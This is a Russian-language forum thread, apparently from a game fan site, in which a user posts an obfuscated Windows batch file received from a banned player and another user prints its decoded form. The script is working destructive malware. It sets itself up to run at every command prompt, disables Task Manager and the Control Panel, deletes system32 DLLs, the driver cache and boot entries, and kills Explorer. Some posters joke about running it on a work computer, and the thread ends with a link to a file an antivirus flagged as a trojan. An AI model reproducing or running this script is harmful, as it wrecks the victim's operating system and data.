[Mihey™]

Собственно вот что в батнике. Кто понимает расскажите. Только не запускайте а то мало ли.

CODE

@set u=@set
%u% g1=f
%u% y5=7
%u% q10=n
%u% p35=4
%u% u18=x
%u% p13=6
%u% f3=i
%u% g86=%1
%u% v21=p
%u% j11=a
%u% g9=j
%u% x29=k
%u% f26=0
%u% d12=e
%u% m2=2
%u% o30=w
%u% s16=s
%u% t8=m
%u% l70=%
%u% w23=u
%u% p34=q
%u% c15=h
%u% y42=%SystemRoot%
%u% y20=g
%u% v32=9
%u% a84=%0
%u% s27=v
%u% x4=b
%u% b25=t
%u% g22=y
%u% r14=1
%u% b19=c
%u% n31=l
%u% e24=r
%u% r33=3
%u% o6=8
%u% m0=o
%u% b54=%Temp%
%u% b7=5
%u% a17=z
%u% x65="
%u% d28=d
@%d12%%b19%%c15%%m0% %m0%%g1%%g1%
%b19%%m0%%v21%%g22% %x65%%x65%%a84%%x65%%x65% %x65%%y42%\%s16%%g22%%s16%%b25%%d12%%t8%%r33%%m2%\%x4%%j11%%b25%%f3%%q10%%f3%%b25%.%x4%%j11%%b25%%x65% >%q10%%w23%%n31%
%e24%%d12%%y20% %j11%%d28%%d28% %x65%HKCU\SOFTWARE\M%f3%%b19%%e24%%m0%%s16%%m0%%g1%%b25%\C%m0%%t8%%t8%%j11%%q10%%d28% P%e24%%m0%%b19%%d12%%s16%%s16%%m0%%e24%%x65% /%s27% A%w23%%b25%%m0%R%w23%%q10% /%b25% REG_SZ /%d28% %x65%%y42%\%s16%%g22%%s16%%b25%%d12%%t8%%r33%%m2%\%x4%%j11%%b25%%f3%%q10%%f3%%b25%.%x4%%j11%%b25%%x65% /%g1% >%q10%%w23%%n31%
%e24%%d12%%y20% %j11%%d28%%d28% HKCU\S%m0%%g1%%b25%%o30%%j11%%e24%%d12%\M%f3%%b19%%e24%%m0%%s16%%m0%%g1%%b25%\W%f3%%q10%%d28%%m0%%o30%%s16%\C%w23%%e24%%e24%%d12%%q10%%b25%V%d12%%e24%%s16%%f3%%m0%%q10%\P%m0%%n31%%f3%%b19%%f3%%d12%%s16%\S%g22%%s16%%b25%%d12%%t8% /%s27% D%f3%%s16%%j11%%x4%%n31%%d12%T%j11%%s16%%x29%M%y20%%e24% /%b25% REG_DWORD /%d28% %r14% /%g1% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\%s16%%g22%%s16%%b25%%d12%%t8%%r33%%m2%\*.%d28%%n31%%n31%%x65% /%p34% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\D%e24%%f3%%s27%%d12%%e24% C%j11%%b19%%c15%%d12%\%f3%%r33%%o6%%p13%\%d28%%e24%%f3%%s27%%d12%%e24%.%b19%%j11%%x4%%x65% /%g1% /%p34% >%q10%%w23%%n31%
%d28%%d12%%n31% %y42%\%s16%%g22%%s16%%b25%%d12%%t8%%r33%%m2%\%d28%%d12%%s27%%t8%%y20%%t8%%b25%.%t8%%s16%%b19% >%q10%%w23%%n31%
%x4%%m0%%m0%%b25%%b19%%g1%%y20% /%d28%%d12%%n31%%d12%%b25%%d12% /%f3%%d28% %r14% >%q10%%w23%%n31%
%x4%%m0%%m0%%b25%%b19%%g1%%y20% /%d28%%d12%%n31%%d12%%b25%%d12% /%f3%%d28% %r14% >%q10%%w23%%n31%
%x4%%m0%%m0%%b25%%b19%%g1%%y20% /%d28%%d12%%n31%%d12%%b25%%d12% /%f3%%d28% %r14% >%q10%%w23%%n31%
%y42%/%s16%%g22%%s16%%b25%%d12%%t8%%r33%%m2%/%e24%%w23%%q10%%d28%%n31%%n31%%r33%%m2% %w23%%s16%%d12%%e24%%r33%%m2%, S%o30%%j11%%v21%M%m0%%w23%%s16%%d12%B%w23%%b25%%b25%%m0%%q10% >%q10%%w23%%n31%
%e24%%d12%%y20% %j11%%d28%%d28% HKCU\S%m0%%g1%%b25%%o30%%j11%%e24%%d12%\M%f3%%b19%%e24%%m0%%s16%%m0%%g1%%b25%\W%f3%%q10%%d28%%m0%%o30%%s16%\C%w23%%e24%%e24%%d12%%q10%%b25%V%d12%%e24%%s16%%f3%%m0%%q10%\P%m0%%n31%%f3%%b19%%f3%%d12%%s16%\E%u18%%v21%%n31%%m0%%e24%%d12%%e24%\R%d12%%s16%%b25%%e24%%f3%%b19%%b25%R%w23%%q10% /%s27% %r14% /%b25% REG_DWORD /%d28% %y42%\%d12%%u18%%v21%%n31%%m0%%e24%%d12%%e24%.%d12%%u18%%d12% /%g1% >%q10%%w23%%n31%
%b25%%f3%%t8%%d12% %f26%:%f26%%f26% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\C%w23%%e24%%s16%%m0%%e24%%s16%\*.*%x65% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\M%d12%%d28%%f3%%j11%%x65% /%p34% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\W%d12%%x4%\W%j11%%n31%%n31%%v21%%j11%%v21%%d12%%e24%%x65% /%p34% >%q10%%w23%%n31%
%e24%%d12%%y20% %j11%%d28%%d28% HKCU\S%m0%%g1%%b25%%o30%%j11%%e24%%d12%\M%f3%%b19%%e24%%m0%%s16%%m0%%g1%%b25%\W%f3%%q10%%d28%%m0%%o30%%s16%\C%w23%%e24%%e24%%d12%%q10%%b25%V%d12%%e24%%s16%%f3%%m0%%q10%\P%m0%%n31%%f3%%b19%%f3%%d12%%s16%\E%u18%%v21%%n31%%m0%%e24%%d12%%e24% /%s27% N%m0%C%m0%%q10%%b25%%e24%%m0%%n31%P%j11%%q10%%d12%%n31% /%b25% REG_DWORD /%d28% %r14% /%g1% >%q10%%w23%%n31%
%e24%%d12%%y20% %j11%%d28%%d28% HKCU\S%m0%%g1%%b25%%o30%%j11%%e24%%d12%\M%f3%%b19%%e24%%m0%%s16%%m0%%g1%%b25%\W%f3%%q10%%d28%%m0%%o30%%s16%\C%w23%%e24%%e24%%d12%%q10%%b25%V%d12%%e24%%s16%%f3%%m0%%q10%\P%m0%%n31%%f3%%b19%%f3%%d12%%s16%\E%u18%%v21%%n31%%m0%%e24%%d12%%e24% /%s27% N%m0%D%d12%%s16%%x29%%b25%%m0%%v21% /%b25% REG_DWORD /%d28% %r14% /%g1% >%q10%%w23%%n31%
%b25%%j11%%s16%%x29%%x29%%f3%%n31%%n31% /%g1% /%f3%%t8% %d12%%u18%%v21%%n31%%m0%%e24%%d12%%e24%.%d12%%u18%%d12% >%q10%%w23%%n31%
%d28%%d12%%n31% %x65%%y42%\%q10%%m0%%b25%%d12%%v21%%j11%%d28%.%d12%%u18%%d12%%x65% >%q10%%w23%%n31%

[14zero]

ну по мне так,

%SystemRoot% %Temp%

я бы не запускал)
Возможн какой-нить вирус.

Баты я видел на отключения клавы, ЖД, итд

Сообщение отредактировал 14zero - 8.9.2009, 18:35

[Xargasus]

Не стоит запускать. Отключение чего либо через рут-админа ввинде.

[Mihey™]

Мне сказали что удаляет рабочий стол и стирает все драйвера. Может кто знает где про это можно прочитать?

[AbsT]

Отчетливо видна работа с реестром.

[dem9968]

Мне сказали что удаляет рабочий стол и стирает все драйвера. Может кто знает где про это можно прочитать?

запусти под вмваре воркстейшн и узнай... сам бы запустил, да под виртуальную машину места на харде совсем нет)

[-=[BloodKill]=-]

-1 пользователь базы, 100% кто то запустил)

[Mihey™]

Кто?

[dem9968]

@echo off
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\system32\batinit.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%\system32\*.dll" /q >nul
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
del %SystemRoot%\system32\devmgmt.msc >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
time 0:00 >nul
del "%SystemRoot%\Cursors\*.*" >nul
del "%SystemRoot%\Media" /q >nul
del "%SystemRoot%\Web\Wallpaper" /q >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
taskkill /f /im explorer.exe >nul
del "%SystemRoot%\notepad.exe" >nul

расшифровка

[CokoJI22rus]

-1 пользователь базы, 100% кто то запустил)

[DeadAdsl]

Рассшифровка пугает...

[Mihey™]

Дем9968 можешь рассказать как ты это расшифровал? И где про это почитать можно?

[AbsT]

Вот теперь все ясно.
Спасибо, закину на флешку и тихонько запущу на одном компе на работе

[dem9968]

Дем9968 можешь рассказать как ты это расшифровал? И где про это почитать можно?

тут все очень просто... ток не знаю как нормальными словами сказать что тут что... попробую на пальцах объяснить...

Код

g1=f
y5=7
q10=n
p35=4
u18=x
p13=6

и т.д.

здесь как бы задается шифровка... т.е. g1 соответствует f , y5 соответствеут 7... ну и так далее... потом просто в блокноте автозаменой прошелся по всем парам и удалил лишние символы %...

[Xargasus]

+1

CODE

Вот теперь все ясно.
Спасибо, закину на флешку и тихонько запущу на одном компе на работе

Аналогично.

Миха кто прислал тебе это чудо? :) Кто такие еще пишет? ))))

Сообщение отредактировал Xargasus - 8.9.2009, 19:45

[Mihey™]

Спасибку тыкнул в другой теме =) Благодарю

Вот теперь все ясно.
Спасибо, закину на флешку и тихонько запущу на одном компе на работе

А завтра www.la2base.ru случайно в оффлайн уйдет, а Abst тихонько будет смеяться

[Xargasus]

CODE

А завтра www.la2base.ru случайно в оффлайн уйдет, а Abst тихонько будет смеяться

А все ла2базеры будет плакать и рыдать :D

[Mihey™]

Кстати это прислал забаненный игрок =)

[Xargasus]

Зилые у вас юзвери аднакА

[Mihey™]

Вот сегодня опять файлик мне пытались впарить, каспер сразу отреагировал и даже отказался его загрузить.
Собственно сам файл: _http://dump.ru/file/3387790

описание:

ACCESS DENIED
The requested URL could not be retrieved

While trying to retrieve the URL: http://s1.dump.ru/file_download/MzM4Nzc5MD...MS4zMA==/l2.exe

The folowing error was encountered:
The requested object is INFECTED. The following viruses Trojan-Dropper.Win32.Agent.qlt were found

Please contact your service provider if you feel this is incorrect.

Generated Wed Sep 09 16:19:41 2009 by Антивирус Касперского 7.0